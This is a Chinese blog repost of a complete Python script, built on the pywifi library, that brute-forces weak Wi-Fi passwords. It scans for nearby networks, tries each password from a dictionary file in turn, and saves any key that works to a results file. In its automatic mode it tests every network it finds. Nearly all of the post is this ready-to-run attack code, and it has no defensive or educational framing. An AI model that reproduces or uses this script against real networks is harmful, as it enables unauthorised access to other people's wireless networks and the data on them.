hacker:Python通过对简单的WIFI弱口令实现自动实时破解
生活随笔
收集整理的這篇文章主要介紹了
hacker:Python通过对简单的WIFI弱口令实现自动实时破解
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
hacker:Python通過對簡單的WIFI弱口令實現自動實時破解
?
?
?
目錄
輸出結果
實現代碼
?
?
?
輸出結果
?
實現代碼
#Python通過對簡單的WIFI弱口令實現自動實時破解 import sys import time import argparse from pywifi import *def get_wifi_interface():wifi = PyWiFi()if len(wifi.interfaces()) <= 0:print ('No wifi inteface found!')exit()if len(wifi.interfaces()) == 1:print ('Wifi interface found: %s'%(wifi.interfaces()[0].name()))return wifi.interfaces()[0]else:print ('%-4s %s'%('No','interface name'))for i,w in enumerate(wifi.interfaces()):print ('%-4s %s'%(i,w.name()))while True:iface_no = raw_input('Please choose interface No:')no = int(iface_no)if no>=0 and no < len(wifi.interfaces()):return wifi.interfaces()[no]def get_akm_name(akm_value):akm_name_value = {'NONE':0,'UNKNOWN':5,'WPA':1,'WPA2':3,'WPA2PSK':4,'WPAPSK':2}akm_names = []for a in akm_value:for k,v in akm_name_value.items():if v == a:akm_names.append(k)breakif len(akm_names) == 0 :akm_names.append("OPEN")return '/'.join(akm_names)def get_iface_status(status_code):status = {'CONNCTED':4,'CONNECTING':3,'DISCONNETED':0,'INACTIVE':2,'SCANNING':1}for k,v in status.items():if v == status_code:return kreturn ''def scan(face):ap_list = {}print ("-"*72)print ("%-4s %-20s %-20s %-6s %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))face.scan()time.sleep(5)for i,x in enumerate(face.scan_results()):ssid = x.ssidif len(ssid) == 0: #hidden ssidssid = '<length: 0>'elif ssid == '\\x00': #hidden ssidssid = '<length: 1>'else: if len(x.akm) > 0: #if len(x.akm)==0 ,the auth is OPENap_list[x.bssid] = xprint ("%-4s %-20s| %-20s | %-6s | %s"%(i+1,ssid,x.bssid,x.signal,get_akm_name(x.akm)))return face.scan_results(),ap_listdef test(i,face,x,key,stu,ts):showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssidkey_index = 0while key_index < len(key):k = key[key_index]x.key = k.strip()face.remove_all_network_profiles()face.connect(face.add_network_profile(x))code = -1t1 = time.time()now = time.time() - t1#check connecting statuswhile True:time.sleep(0.1)code = face.status()now = time.time()-t1#timeout:try nextif now>ts:breakstu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code)))stu.flush()#disconnect:maybe fail or busyif code == const.IFACE_DISCONNECTED :break#connect:test successelif code == const.IFACE_CONNECTED:face.disconnect()stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now,len(key)-key_index,k.strip(),'FOUND!'))stu.flush()return "%-20s | %s | %15s"%(x.ssid,x.bssid,k)#if is busy,then retry:if code == const.IFACE_DISCONNECTED and now < 1:stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),'BUSY!'))stu.flush()time.sleep(10)continue#try next key:key_index = key_index + 1stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showID,'','','','FAIL!'))stu.flush()return Falsedef auto_test(keys,timeout,result_file):output = sys.stdoutiface = get_wifi_interface() #scan for ap listap_list = {}SCAN_NUMBER = 5for i in range(SCAN_NUMBER):scan_results,scan_ap = scan(iface)ap_list.update(scan_ap)print ('%s\nTEST WIFI LIST:'%('-'*72))print ("%-4s %-20s %-20s %-6s %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))item_index = 1for k,x in ap_list.items():print ("%-4s %-20s| %-20s | %-6s | %s"%(item_index,x.ssid,x.bssid,x.signal,get_akm_name(x.akm)))item_index = item_index + 1print ('TOTAL TEST WIFI:%s' %len(ap_list))#testitem_index = 1print ("%s\n%-6s| %-18s| %-4s | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))for k,v in ap_list.items():res = test(item_index,iface,v,keys,output,timeout)if res:with open(result_file,"a") as f:f.write(res)item_index = item_index + 1def manual_test(keys,timeout,result_file):output = sys.stdoutiface = get_wifi_interface() #choose one wifi to testwifi_no = ''scanres = Nonewhile True:#scan for ap listscanres,ap_list = scan(iface)wifi_no = raw_input('Please choose test No:')if len(wifi_no.strip()) == 0: #if no choice and press enter,refresh ap listcontinueelse:breaknumbers = wifi_no.strip().split(',')print ("%s\n%-6s| %-18s| %-4s | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))for no in numbers:if int(no)>=1 and int(no)<= len(scanres):res = test(int(no),iface,scanres[int(no)-1],keys,output,timeout)if res:with open(result_file,"a") as f:f.write(res)def main():parse = argparse.ArgumentParser()parse.add_argument('-m', '--mode', default='a', choices=['a','m'],help='test mode:a(auto) or m(manual)')parse.add_argument('-k', '--key_file', default='top10.txt', help='test password dict file,default is top10.txt')args = parse.parse_args()timeout = 30result_file = 'result.txt'keys = ''with open(args.key_file,"r") as f:keys = f.readlines()print ("Total KEYS %s"%(len(keys)))if args.mode == 'a':auto_test(keys,timeout,result_file)else:manual_test(keys,timeout,result_file)print ('\nDone...')if __name__ == '__main__':main()?
參考文章
PYTHON黑客編程(一):wifi密碼暴力破解
?
?
?
總結
以上是生活随笔為你收集整理的hacker:Python通过对简单的WIFI弱口令实现自动实时破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Matlab:成功解决引用了已清除的变量
- 下一篇: IDE之Eric:Python的IDE之